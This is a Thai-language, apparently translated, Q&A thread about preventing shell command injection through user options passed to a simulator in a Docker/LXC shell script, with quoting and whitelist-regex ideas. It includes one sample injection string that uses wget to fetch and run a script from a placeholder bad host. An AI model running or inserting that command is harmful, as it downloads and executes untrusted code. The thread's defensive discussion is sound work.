ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร?
ตัวอย่างเช่น.
- ผู้ใช้ให้:
-a -b
- แอปพลิเคชันดำเนินการ:
mysim --preset_opt -a -b
อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น:
- ผู้ใช้ให้:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- แอปพลิเคชันดำเนินการ:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'
และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
หมายเหตุ: mysim
คำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu
eval
ไม่ฉันไม่ได้ใช้ ฉันเรียกไฟล์ปฏิบัติการmysim
ภายในเชลล์สคริปต์ ฉันเห็นการฉีดเกิดขึ้นถ้าฉันเพียงแค่คัดลอกสตริงของตัวเลือกที่ผู้ใช้ให้และวางไว้ที่ส่วนท้ายของmysim
คำสั่ง
-a -b
ใช่ตัวเลือกที่ผู้เข้ามาเป็นสายเดียวเช่น ดังนั้นฉันต้องการตรวจสอบให้แน่ใจว่าคำสั่งเพิ่มเติมไม่ได้ถูกแทรกเข้าไปในสตริงนั้น
[a-zA-Z0-9 _-]
ดูเหมือนตัวเลือกการป้องกันที่ค่อนข้างสวย
eval
งานแอพพลิเคชั่นอยู่หรือไม่? ถ้าไม่เช่นนั้นการฉีดจะไม่เกิดขึ้น:x="&& echo Doomed" ; echo $x